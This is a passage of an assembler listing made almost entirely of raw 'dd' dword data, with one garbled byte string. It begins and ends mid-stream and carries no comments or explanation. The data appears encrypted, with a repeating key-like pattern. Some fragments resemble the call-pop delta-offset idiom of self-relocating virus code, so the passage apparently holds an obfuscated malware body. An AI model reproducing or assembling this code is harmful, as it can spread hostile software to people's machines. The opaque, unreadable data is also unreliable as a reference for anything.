0DB1B937h, 0CEE36204h, 7803D37h, 0F1803D04h dd 0DAE9680Eh, 3E36267h, 75B13250h, 0F7554520h, 6CBE2154h dd 9FBE6006h, 0FEB6A0Ch, 0EF386A0Ch, 85D13672h, 0E5D05204h dd 7C58AE67h, 7B13256h, 0E43131E4h, 0DB1D6DA8h, 0CF57B330h dd 0ABB7DBB1h, 82673256h, 19D31F12h, 0E9E968CBh, 0BAB121BFh dd 0B86D7D56h, 0CF7959ECh, 0CAC575D0h, 3251D144h, 80BD0D08h dd 1278B330h, 75B7DB47h, 8D873256h, 8E733FF2h, 0AEE953CBh dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B1DA36h, 3BEB3256h, 66DBF6BCh, 2E34BF5Fh, 0DEB808D9h dd 90D928D4h, 0F733BF5Fh, 63B80999h, 4ED92CD4h, 0B3FFDA5Fh dd 26593256h, 69B13256h, 6CD938D4h, 0ABB1325Fh, 50776056h dd 0E38425CBh, 0CDE35A00h, 0F4EAEFEh, 5484242Bh, 0D5C1B7DBh dd 874E3B6Eh, 0AFE0B7DFh, 0D1DB3B63h, 0EAA1323Eh, 78F15A56h dd 0BADB3255h, 56EBE2A9h, 27824696h, 6CD938D4h, 0A533BB5Fh dd 6CB8093Eh, 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h dd 0AED93256h, 3DB13252h, 0FA23CD56h, 8FB80752h, 82EFB0DFh dd 0FED03B6Dh, 81D938D3h, 9AD1F15Fh, 9BBDA3D4h, 17B1325Fh dd 7A33F556h, 0D5B80779h, 8BB13246h, 0CF3A5295h, 0B38A5A5Ch dd 29B10DD5h, 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h dd 0AD76D8BDh, 75B13346h, 7D43D956h, 5DB22211h, 475A3256h dd 0DCE4F137h, 0AB5952BAh, 8FB13256h, 8108D8D7h, 0C73A3B6Dh dd 0B38A5A34h, 0D4B977DDh, 0CC33B150h, 53B8093Eh, 0AF73FB37h dd 0D5595256h, 0B0B13256h, 1E6CD8D7h, 83A3B6Dh, 548A5A08h dd 0C6D3806Dh, 6CC53B6Dh, 743A0CDDh, 0D4FE8459h, 6AB075A0h dd 0ACB23623h, 639A30BDh, 0D83A7115h, 0A7841973h, 673CBFDDh dd 738A3B63h, 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h dd 6881BFEBh, 0CF06D95Fh, 57595295h, 0F1B13256h, 0B984D8D7h dd 503A3B6Dh, 7C8A5A08h, 0BAB032EFh, 0AE710156h, 0F033B9FDh dd 0DEB8093Eh, 90D950D4h, 0B572535Fh, 0EAB132BEh, 9F306856h dd 0B38A5E09h, 4A2CB790h, 0C6E73B63h, 83AE5F6Fh, 0BDCC87A9h dd 503C3B63h, 0E3894926h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h dd 95D938E4h, 0F61CD5Fh, 2BB15A0Ch, 0D5DB3256h, 82EF80A9h dd 0A54E3B6Dh, 31E4F137h, 5D5952BAh, 0F4B13256h, 3B1CD8D7h dd 0DE3A3B6Dh, 0D729DA5Eh, 15E43256h, 4ED928C4h, 0CF8A6F5Fh dd 0B55F475Ah, 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h dd 0EA596101h, 2FB13256h, 0D650D8D7h, 283A3B6Dh, 0BECCB95Eh dd 60596401h, 0A0B13256h, 5E904696h, 784E67AEh, 7C8A5A4Ch dd 0B6C4090Bh, 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h dd 15A3256h, 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h dd 25E4325Ah, 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h dd 4ED978D4h, 0BAB1335Fh, 55C4B956h, 25AFB930h, 6CD938ECh dd 0A3EEB95Fh, 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h dd 3B5BD942h, 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh dd 0EAB13293h, 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h dd 0AC313256h, 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h dd 5D313256h, 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h dd 51BE42ADh, 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh dd 93C53768h, 239C0CD6h, 0C38FB26Eh, 574E0122h, 0E38A5A1Ch dd 0F5AFB930h, 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h dd 6B30C9D7h, 80D12122h, 82ABA0A9h, 0FCEC3B6Dh, 39D0CE13h dd 28B0CE2Bh, 3F0BB935h, 7B8075Ah, 0C3FBB0DDh, 0E9883B6Dh dd 0BAC36A66h, 5A6088DDh, 31E13B63h, 66D978D4h, 9E8D0B5Fh dd 0BC8C4D0Eh, 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh dd 0B00BB956h, 0D6B8093Eh, 0DA6A3949h, 226F0949h, 0A7ECB959h dd 0D5494FD5h, 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h dd 0AEB13296h, 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h dd 9EA74626h, 53B6F464h, 5DB07591h, 25B13256h, 5271B191h dd 0ABB1A5BFh, 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh dd 5FF6F557h, 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h dd 0D4313D22h, 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h dd 3133BF09h, 0FBB8093Eh, 0CB23CD00h, 0E1B8093Eh, 0FEBB4696h dd 0DC03BF9Eh, 0B6B8093Eh, 603A6446h, 4D23CD03h, 0F6B8093Eh dd 0C46FC7Dh, 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h dd 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh dd 13353DEEh, 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh dd 0ABB9F09Fh, 0B55DB903h, 0EAB132BEh, 9F306856h, 0B38A5D69h dd 0D4B977DDh, 95D920D4h, 9578535Fh, 20E43252h, 2D75B1BAh dd 0EAB1DA36h, 0F4EB3256h, 81DE52BCh, 0A5F4F55Fh, 0AEB13256h dd 574D7791h, 98B13256h, 0CB3A5496h, 82FBB091h, 75B03B6Dh dd 3BD73256h, 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h dd 51BEDBADh, 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 14333156h, 0AAB80752h dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h dd 0D4310F22h, 3589463Eh, 0D2FBB0A9h, 0D6D73B6Dh, 5656B248h dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h dd 284E6736h, 548A5A4Ch, 52F4BB0Bh, 0ABCCB137h, 83343D57h dd 5EB13257h, 0DFBDA3ECh, 0F73A625Fh, 0B38A5A1Ch, 5810E6Fh dd 0AFA0B059h, 0ED3A3256h, 0A2841D87h, 9F33B906h, 0D3B8093Eh dd 7AE9026Ah, 0BAB1C8D9h, 530BB956h, 2DB8093Eh, 6CD93CD4h dd 9C38265Fh, 85A175DFh, 82FBB0DDh, 693A3B6Dh, 0E5386A66h dd 5D64DB5Eh, 0EB763256h, 57B130AEh, 6CB6D956h, 0D5B0CA13h dd 503A3256h, 7C8A5A58h, 0D2BFB0D5h, 0D4A53B6Dh, 0BEF6BB61h dd 22B2CAD5h, 0E133F55Ah, 0D7B8093Eh, 1B13256h, 7749B153h dd 0C7326D2Bh, 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h dd 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 35FBA8DDh dd 0AA3A3B6Dh, 57186965h, 0DE313256h, 56773142h, 68B23796h dd 7C8A5A1Ch, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h dd 29B23796h, 0DC8A5A1Ch, 0E2F6BB1Eh, 9EBD75DFh, 30710168h dd 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh dd 7967A8DCh, 96313B6Ch, 33723157h, 1A383A11h, 59A5D95Ah dd 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h, 8DBD75DFh dd 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h, 0DAC0D8D7h dd 6F3A3B6Dh, 0E38A5A5Ch, 4A32FB65h, 78353D56h, 0D6B13256h dd 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h, 85A2691h dd 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h dd 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h dd 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h dd 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h, 0AAF6B917h dd 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh dd 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h, 286B195Ah dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h, 103B3153h dd 2DB80753h, 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 4EC36EBCh, 0B00BB95Fh dd 6EB8093Eh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h dd 2E13A23h, 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h dd 57B13256h, 995BB30Ch, 0E6B80925h, 636A019Fh, 0CF3ACE0Bh dd 0B38A5A5Ch, 29B10DD5h, 518EB132h, 90323723h, 2840D942h dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h dd 0B0B13256h, 60CD8D7h, 203C3B6Dh, 548A5A74h, 0AEB156EEh dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0B97BA8DBh, 784E3B6Dh dd 4F3C3ABDh, 0E38AC3A6h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh dd 2FEB3256h, 6CC53EBCh, 113C525Fh, 0DC8A5A74h, 63B977DDh dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh dd 0ABA1F09Fh, 4834F436h, 0ADB80741h, 62C2283Eh, 0C704CDFEh dd 0D0B80740h, 96CA42D3h, 561CD5Fh, 0C3FFB8DBh, 2AE03B6Dh dd 683C6886h, 7C8A5A18h, 0B6F18559h, 52E3EADDh, 6DB26867h dd 5680B0DFh, 0C3D03B63h, 0E85251h, 5A000000h, 747DEA81h dd 8B52093Bh, 35013182h, 4E6DB909h, 0E1F741C6h, 3039055Ah dd 0FF250000h, 897FFFFFh, 35013182h, 0C3595A09h, 0E85251h dd 5A000000h, 74ADEA81h, 0C88B093Bh, 0FFFFBBE8h, 0F7D233FFh dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 93B6ABEh, 8B66D0FFh dd 76858DC1h, 89093B74h, 351B6585h, 0A6858D09h, 89093B74h dd 351F3185h, 0B809h, 0C00B0000h, 47840Fh, 85C60000h, 935179Dh dd 30DF6856h, 0B5FFA9C5h, 935167Dh, 7B70858Dh, 0D0FF0938h dd 0A58D8D50h, 5109352Eh, 68046Ah, 0FF000010h, 3531E9B5h dd 8BD0FF09h, 3531E9BDh, 3C7F0309h, 0F8C781h, 47C70000h dd 2024h, 19D8D60h, 8B093527h, 0FC00B03h, 584h, 89008B00h dd 0F6B90443h, 8D00234Ch, 3B765E8Dh, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 531A2DD1h dd 298D8904h, 6A093516h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0B883C356h, 5C0BAE34h dd 55858BC0h, 8B093516h, 3510AD95h, 7D85C709h, 0E8093528h dd 6A000071h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 8A6FC356h, 98DEBB66h, 60F9BF0Fh dd 860F60h, 0E9000000h, 0Fh, 27E02590h, 38E79715h, 0BDE33156h dd 6140E9BCh, 85C761F5h, 9352255h, 0 aI5S db '`┴╫у',0Ah db '5',9,'И',0Ah,0 align 4 dd 0F1D1066Bh, 494C20BEh, 0FF61D4F2h, 3503DDB5h, 95FFF809h dd 9350D05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0B8C35141h, 8D51ECA2h, 89BFA67Fh, 352431BDh, 0FF006A09h dd 35082995h, 0EBC08B09h, 4DFA0D59h, 63873B82h, 0AE41C505h dd 5920918Eh, 990DAA14h, 0A7364A90h, 1C202EC8h, 4A44463Fh dd 9F068132h, 62E5482Dh, 0BC4F88EFh, 0B7924703h, 0F07AB77Eh dd 8481C01Bh, 0CB17F026h, 75ADB00Dh, 40C57A9Ah, 31051B9h dd 807D4E7Bh, 52E13328h, 0DE8DF63Ah, 6B4A8FD7h, 8E8A23Dh dd 0FD000000h, 8962C745h, 581A7F11h, 0C19D8B51h, 5909350Ah dd 702EC081h, 74BA0000h, 0BE5D7B42h, 0 dd 8E8h, 0B785CA00h, 0FFD56DCBh, 8E8CFh, 0E710000h, 0C75A487Ch dd 0B5016A71h, 9353039h, 34FF595Bh, 959D0906h, 5F09350Bh dd 1BE98D89h, 0F7810935h, 6E9CFD1Eh, 1BFD8D89h, 0F7810935h dd 7F0936E5h, 0A312F181h, 0C78141BDh, 96830F8h, 0BD89F560h dd 93522B1h, 303C8961h, 0FB18529h, 0F3810935h, 0C02187Fh dd 3EA2EE81h, 8A0F3A61h, 6, 25D99589h, 0C6810935h, 3A613E9Eh dd 6919589h, 0FE810935h, 0FFFF90B4h, 1D850Fh, 0B5090000h dd 9351789h, 28E9h, 2D44AF00h, 0C2AF0B4Fh, 0FA7384BCh dd 84D51073h, 8AD58E2Ah, 0FF6CE9F3h, 5E44FFFFh, 0B42AEA3Ah dd 4A26063h, 0B576F0DFh, 0AE81Eh, 6F240000h, 6F8FA2EDh dd 501D756Eh, 8D896060h, 93516EDh, 11F18589h, 29610935h dd 35275D8Dh, 8B5E6109h, 3517999Dh, 8AC68109h, 0E800006Fh dd 0Ah, 81F75CF0h, 3F7DA711h, 8052DBB1h, 5B58C4C8h, 0B531FF2Bh dd 935305Dh, 0E83734FFh, 12h, 57E294AFh, 9EF62DF5h, 83E06193h dd 82940FF8h, 0F381AFFCh, 1C991EC2h, 95895A5Bh, 935161Dh dd 6FBFC281h, 5E862E2h, 0FD000000h, 6DD08154h, 0A7D858Bh dd 81590935h, 57998FEAh, 0AD29BB28h, 0F2814027h, 5E4424A2h dd 8880Fh, 29500000h, 350D098Dh, 0E9525B09h, 0Dh, 0FA2A381Bh dd 34DCF5A4h, 4F709B2h, 3E048F92h, 4830Fh, 0B9660000h dd 8B66D1E0h, 1EF83C1h, 4F4F06B3h, 6820F4Fh, 8B000000h dd 3528A585h, 60FF8109h, 0FFFFF91h, 0FFFF5F85h, 0D98B66FFh dd 8EBh, 0B5610000h, 0BBE96E81h, 68000004h, 93B79C1h, 0FA0623E9h dd 7A2768FFh, 19E9093Bh, 68FFFA06h, 93B7B81h, 0FA060FE9h dd 0F5D280FFh, 0A43D30A8h, 0F3EE81F7h, 993E36AAh, 0F4E57C04h dd 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h, 0D37526B3h dd 0C9DFE5FBh, 0CADB12FAh, 0AB2E4709h, 3F58D448h, 0DE56685Eh dd 3EB63AB9h, 0A428E0B3h, 3617BFEh, 7C777915h, 11ECAECh dd 2A1A8B13h, 851CDC31h, 3318B92h, 493C0000h, 4DCE70Ah dd 1AC804C8h, 1C3641B0h, 5CF202A4h, 150354CDh, 0F709C5EBh dd 15975A7Fh, 68B78DE1h, 0AFD81E0Dh, 0EED40AE4h, 0EA27E5D0h dd 1F54FCC4h, 0D3086E93h, 94F3B11Dh, 9220B335h, 8ECF568h dd 4878545Ah, 19B0EA8Dh, 0CB52A208h, 319D7540h, 4455255Dh dd 7EFC25A4h, 0D05B5E64h, 0A0545A1Eh, 9458E6FCh, 4A5C179Dh dd 0A92BC6D3h, 0FD758747h, 8B2F0DCh, 0FC27E564h, 4C6E1ADAh dd 22D6C7D0h, 8B316F0Eh, 7F27E563h, 8EBF669h, 60846A84h dd 0DDF0F49Eh, 0EECAB43Fh, 86000002h, 2AAEEFD4h, 6FF1AA37h dd 40B8E5F0h, 6AEEAF28h, 0FEB5E6F3h, 7564FD8Dh, 1EBBB028h dd 7865FB7Dh, 0D8C15D23h, 23C10DC3h, 12FAC899h, 2EBB008Dh dd 0D50BC39Bh, 150D3A67h, 7F814D53h, 7DFFF2E7h, 322BD579h dd 0EB82F6A7h, 247503EEh, 0DADA8E45h, 9F524FE0h, 0CB67D91Dh dd 9D3E16CEh, 149FE064h, 2882Ah, 95322000h, 0C4DD5008h dd 930E21D7h, 0B9DE560Ah, 94051CE4h, 8B7F0C07h, 0E2960792h dd 894F4C49h, 0CF910A97h, 73554653h, 0C73F851Bh, 0AA3B12FAh dd 0D39B2E29h, 20AC425Fh, 0D39B082h, 0CF22C415h, 0FAC97F41h dd 0FFE54012h, 8B75AFDEh, 1DDB892h, 47170000h, 30A5BE2Bh dd 0ADC133BEh, 8269834h, 0B18E6B8Bh, 9E2EE6h, 1503645Dh dd 81418D13h, 0C04E7323h, 36BD3992h, 13120A6h, 932DE113h dd 7DEF029Fh, 0FBFBF5E4h, 0E999BEA6h, 0B4D6A4ABh, 41E11558h dd 9285F80Ch, 70522A5Eh, 0A686A3A2h, 94C309DBh, 31B71300h dd 3116C5h, 2E750000h, 0D50BC39Bh, 1503724Ah, 3BC928AEh dd 13011195h, 0E0E5CF56h, 0BED76FA0h, 2DD3FB46h, 0A44CA831h dd 92859069h, 7164FF01h, 0DCD685h, 47B50000h, 0D143AE2Bh dd 3EB24158h, 0AF1F8722h, 67A8F25Eh, 7AF66A89h, 0B1FA53Bh dd 671B1C36h, 3C150CE6h, 0C927C913h, 0FA80F0D4h, 7C7E1C35h dd 8F01F5E2h, 2C60693h, 35F9D6DCh, 28CCD21Ch, 69217453h dd 3F652965h, 1C35F975h, 0F95F657Bh, 555B1C35h, 0F78D696Fh dd 1501AB6Ch, 0B4468628h, 0DEE4FABDh, 0DA12FE48h, 0A8352AD4h dd 7429C749h, 806475ECh, 0F2D80FAAh, 2EC6B033h, 0C6000001h dd 0EA6E2F94h, 0AF316A77h, 7825B0h, 0AA2E6F68h, 0BE7526B3h dd 0B5243DCDh, 0DEFB70E8h, 0B8253BBDh, 98011DE3h, 63814D03h dd 12FAC659h, 157B404Dh, 41A12BB9h, 13951C36h, 0E9F069E3h dd 0CBC2FAB4h, 0CACF64A4h, 6C6C1BF6h, 8D1A1688h, 9A071990h dd 56329A54h, 355B8248h, 8470761Ch, 2B4704A7h, 5DD143AEh dd 35BCDD54h, 0B4EAC85h, 0A44AEEE9h, 9846824Ah, 1C355D32h dd 84408026h, 8FDCAB6Ah, 0FBCCA155h, 0C6DCF0A8h, 1502CAFEh dd 716E00F6h, 0DCF0FE82h, 0B16786A4h, 11E56858h, 376D216Dh dd 1300DB8Dh, 1D8F6789h, 34089504h, 1300DB92h, 6C31AEC2h dd 705C7DF4h, 8832701Ch, 7C1300DBh, 0DB42885Ah, 0FE721300h dd 39BDE3E1h, 5BD0BAh, 2E010000h, 0BF0BC39Bh, 41EFD50Bh dd 0C5EB1C36h, 39BDA331h, 2FB1150Dh, 0C3DC50C4h, 8D0A26DAh dd 11E8D666h, 0C8157251h, 8A3529DCh, 0B4916E54h, 0AA446AADh dd 0E6F36FF1h, 1881990Bh, 8A7AEBD9h, 8E5463FFh, 0ADB49124h dd 0EF807E20h, 737DFFF2h, 1DBAB62Ah, 3ECD6h, 4F1D0000h dd 0B0154784h, 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h dd 2FAAC335h, 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 89575D2Ah dd 4C781E7h, 53000000h, 4BBh, 5BDF2900h, 5C243C87h, 66468h dd 24048900h, 5E08950h, 4, 8704E883h, 895C2404h, 0BD552434h dd 7D2E0E87h, 7640F581h, 0E8897415h, 83242C8Bh, 8B5404C4h dd 0C4812434h, 4, 8468F50h, 5224348Bh, 0C281E289h, 4, 4C281h dd 14870000h, 48B5C24h, 0E0895024h, 405h, 40500h, 4870000h dd 81E95C24h, 91FFFA01h, 2B50985Bh, 0D495FBFAh, 0F452C38Bh dd 0D4B803C2h, 3093B7Ch, 96E0FFC5h, 4C0B0013h, 0E7030377h dd 8D49787Ah, 3B7E6A8Dh, 11E809h, 8260000h, 0B3E0713Dh dd 498E568Fh, 0BC435CFCh, 0FE32B37h, 38Ah, 0DF8B6600h dd 298D895Ah, 6A093516h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 7284C350h, 5B0F8512h dd 0E079A96Eh, 287D85C7h, 59A80935h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 50F0A9C3h dd 0B7B2933h, 350C9585h, 5585C709h, 93522h, 29000000h dd 351EE5B5h, 95B5FF09h, 6A093530h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F954C351h dd 0F32C056h, 0E280894Eh, 595FF0Eh, 6A09350Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 52B2C355h, 0B7208FADh, 5DA2CABFh, 0FF006A24h, 35082995h dd 0EBC08B09h, 685A7B6Eh, 1B4A1F84h, 9AB79EF2h, 8C5858C4h dd 0DAC3D308h, 0A58F6DFh, 111D356h, 12B43B59h, 81B91087h dd 431F5343h, 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h dd 0D24675E1h, 70CD39C7h, 1DD4A7C2h, 0B9BCEDF9h, 3605FA95h dd 34644448h, 0E966B6BAh, 3222E5Ah, 0AB6022CDh, 0C460B578h dd 4BEBB2EEh, 8CEC0F40h, 500DEB1Ch, 0E8CC9BF6h, 0Dh dd 0D9FEA303h, 0C9B6A744h, 5C253485h, 8D8D8B9Ah, 5B093505h dd 5E8h, 0BC41C300h, 0BD89BC8Dh, 93510E5h, 0D9C3815Fh dd 0F000062h, 68Fh, 4DBD0300h, 0BE093516h, 57855D0Dh, 4478EE81h dd 0EBB85785h, 8B29702Ah, 81FA8B13h, 0DF6AC9C2h, 81EF8A35h dd 65B94DF2h, 3880F08h, 66000000h, 0C281C88Bh, 1C5A4F4Fh dd 89C8BF0Fh, 4EB8313h, 10A5E1BFh, 1EE834Fh, 0FFC9850Fh dd 0F52FFFFh, 38Fh, 0FB8B6600h, 5B8D8D5Fh, 6A093B80h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 569FC356h, 0F558D89h, 0F5E0935h, 8D89F2BFh, 9351629h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4DC35747h dd 0C6BF3E17h, 4AAE858Bh, 0D5BD8944h, 0C709352Ch, 35287D85h dd 66FC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0E50E9879h, 2E91858Bh, 85C70935h dd 9352255h, 0 dd 12E9h, 4AB80900h, 7212C1AEh, 0C11D6C40h, 76D10567h dd 0FFAA21A4h, 352C79B5h, 0DA8B6609h, 0D0595FFh, 6A0935h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 13A8FC3h, 0B063842Ch, 0D9BF0F23h, 16758589h, 6A0935h dd 82995FFh, 0C08B0935h, 3C3829EBh, 9E51DF6Bh, 0D7F7AD4h dd 0AE635A1Ch, 0DA5390F8h, 2420660Fh, 84D9BE68h, 27E18E3Eh dd 0B2584EDCh, 5E297CA5h, 0E87D9205h, 0Bh, 9E440AB6h, 850F4F51h dd 298CCF3Ah, 351F018Dh, 0C3815B09h, 68B8h, 30A9958Bh dd 36B90935h, 812C119Eh, 118430E9h, 0CD9D312Ch, 8B09351Ah dd 45BA6603h, 3C08123h, 600FD3FAh, 0B58B56F9h, 9350615h dd 0F081615Bh, 5678C9ABh, 53DF8166h, 1DF081FCh, 0E9236A47h dd 11h, 20B383C9h, 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 92B25040h dd 0F60038Fh, 281h, 8B616000h, 352CE185h, 0EB836109h, 4BF8B601h dd 0BD094B4Bh, 9350BF5h, 1E981h, 850F0000h, 0FFFFFF93h dd 8DB58B60h, 6109352Fh, 3A9008EBh, 41F3h, 50E90000h, 6800000Ah dd 93B82BEh, 0FAC45BE9h, 83CE68FFh, 51E9093Bh, 68FFFAC4h dd 93B8585h, 0FAC447E9h, 867368FFh, 3DE9093Bh, 68FFFAC4h dd 93B87D6h, 0FAC433E9h, 899368FFh, 29E9093Bh, 68FFFAC4h dd 93B8A35h, 0FAC41FE9h, 0D68447FFh, 6C10BAC5h, 0D38B403Fh dd 6610BDCAh, 0DB834A35h, 378B2AD2h, 0C6C1EA90h, 205F4C08h dd 9CEBB0A8h, 31634828h, 163BD48h, 83F8CF89h, 5A1ACEEBh dd 0D4944043h, 882FF8C7h, 0A3051840h, 2F504F5h, 2B7D90CCh dd 0A6C4B918h, 998FCF82h, 9D9BBC70h, 0E1376121h, 0A187DD2h dd 0E7CF82E6h, 33CE3EE0h, 0A08F0CEAh, 0E4EC17F6h, 74DB9974h dd 0E71F725h, 11A8578Fh, 3239F9B1h, 50000000h, 0B5E89637h dd 0ABAB2453h, 1D0E1E98h, 7224507Eh, 0B19B0085h, 7EAACF82h dd 0B0ECF29Fh, 8176CF82h, 0F224276h, 4AF96DACh, 9BF9B1C3h dd 0DCh, 0B91ACE23h, 0DC46CF10h, 7FC64D80h, 60A9FFA9h dd 72F86667h, 5DDA3086h, 0FF546FFCh, 0A4DAF106h, 2A4A7E69h dd 2C0791F3h, 9831883Fh, 0CB5DA7E6h, 45258FD4h, 0CBAB1D4Ah dd 3F7B33E2h, 5E8AC64Eh, 0C6F20D1Eh, 6BBC67A6h, 3EDD47CEh dd 0B7EC64Eh, 4E3E988Ah, 0BB6DBBC6h, 0E4B91C6Dh, 0FCF8368h dd 75A8D0F8h, 0A3752013h, 5E5ECD7Ah, 0C86EAC29h, 1305D8BAh dd 84FAD1E6h, 0F9616897h, 6029A115h, 11B5C875h, 829h, 0F0BDBD10h dd 5A433B8Fh, 0F1BAA42Dh, 703D3996h, 0D9C2B80Fh, 0A9207423h dd 339BECB1h, 0A72D5A43h, 2F99E6B7h, 412E5E4Fh, 890262C4h dd 0F08AF1CFh, 225707CEh, 8034AE17h, 0F127C64Dh, 7E2E5B42h dd 0F6D01268h, 6CD7EABFh, 0EAFC5978h, 69C64DC1h, 